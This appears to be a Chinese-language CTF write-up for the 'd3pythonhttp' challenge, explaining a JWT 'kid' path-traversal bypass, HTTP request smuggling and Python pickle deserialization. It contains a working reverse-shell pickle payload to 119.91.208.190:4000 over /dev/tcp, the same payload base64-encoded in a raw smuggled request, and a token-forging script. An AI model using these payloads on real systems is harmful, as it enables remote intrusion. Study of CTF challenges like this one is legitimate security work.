Skip to content

d3pythonhttp

考点:Pickle反序列化+HTTP请求走私+Python内存马

Python
class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"
@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

绕过verify_token打pickle反序列化漏洞。

Python
def get_key(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
    except:
        pass
    print(key)
    return key

def verify_token(token):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]
    key = get_key(kid)
    try:
        payload = jwt.decode(token, key, algorithms=["HS256"])
        return True
    except:
        return False

kid可控,即key文件路径可控,可以尝试指定一个已知文件进行jwt验证从而绕过。

它有一个verify_signature: False的选项是什么意思,不验证签名吗

应该是的,所以大概只要过了verify_token就没有进一步验证了

Payload

Python
import pickle, os, base64
class m(object):
    def __reduce__(self):
        return (os.system,("bash -c 'bash -i &> /dev/tcp/119.91.208.190/4000 0<&1'",))
print(base64.b64encode(pickle.dumps(m())))

Exp

Python
import jwt
kid = "../etc/host.conf"

def get_jwt(kid):
    key = ""
    dir = "/app/"
    try:
        with open(dir+kid, "r") as f:
            key = f.read()
        token = {"username": "m", "isadmin": True}
        payload = jwt.encode(token, key, algorithm="HS256", headers={"kid": kid})
        print(payload)
    except:
        print("ERR")

get_jwt(kid)
JavaScript
class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"

只有admin身份才能转发给后端,然后不是admin才能进行pickle反序列化

JavaScript
@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
    forward_url = "python-backend:8080"
    conn = http.client.HTTPConnection(forward_url)
    method = request.method
    headers = {key: value for (key, value) in request.headers if key != "Host"}
    data = request.data
    path = "/"
    if request.query_string:
        path += "?" + request.query_string.decode()
    conn.request(method, path, body=data, headers=headers)
    response = conn.getresponse()
    return response.read()

它做了一个拿数据转发的操作,好像没鉴权

backend为后端路由,要通过backend代理转发

admin路由和非admin路由的区别是通过admin访问后端时,会添加特定的数据格式:

JavaScript
@app.route('/admin', methods=['GET', 'POST'])
def admin():
    token = request.cookies.get('token')
    if token and verify_token(token):
        if request.method == 'POST':
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                forward_url = "python-backend:8080"
                conn = http.client.HTTPConnection(forward_url)
                method = request.method
                headers = {key: value for (key, value) in request.headers if key != 'Host'}
                data = request.data
                path = "/"
                if request.query_string:
                    path += "?" + request.query_string.decode()
                if headers.get("Transfer-Encoding", "").lower() == "chunked":
                    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
                if "BackdoorPasswordOnlyForAdmin" not in data:
                    return "You are not an admin!"
                conn.request(method, "/backdoor", body=data, headers=headers)
                return "Done!"
            else:
                return "You are not an admin!"
        else:
            if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
                return "Welcome admin!"
            else:
                return "You are not an admin!"
    else: 
        return redirect("/login", code=302)

通过添加一些特定的数据,进行HTTP请求走私(一个请求嵌套两个请求?)在额外的请求中包含payload,从而执行pickle反序列化反弹shell.写内存马

请求走私通常通过修改Content-Length头等来控制请求包被读取的长度,从而导致未被读取的数据被识别进入下一个HTTP请求数据包.需要让发送的时候是一个包含BackdoorPasswordOnlyForAdmin的请求,然后隔断成两个

举个例子

JavaScript
POST / HTTP/1.1
Host: vulnerable-server.com
Content-Length: 13
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-server.com

根据服务器和代理的具体处理差异,可能会导致后续的 GET /admin 请求被当作一个独立的请求处理。

https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html

不出网只能写内存马(

Python
POST /backdoor HTTP/1.1
Host: python-backend:8080
Content-Type: text/plain
Content-Length: 124

gASVUQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDZiYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzExOS45MS4yMDguMTkwLzQwMDAgMDwmMSeUhZRSlC4=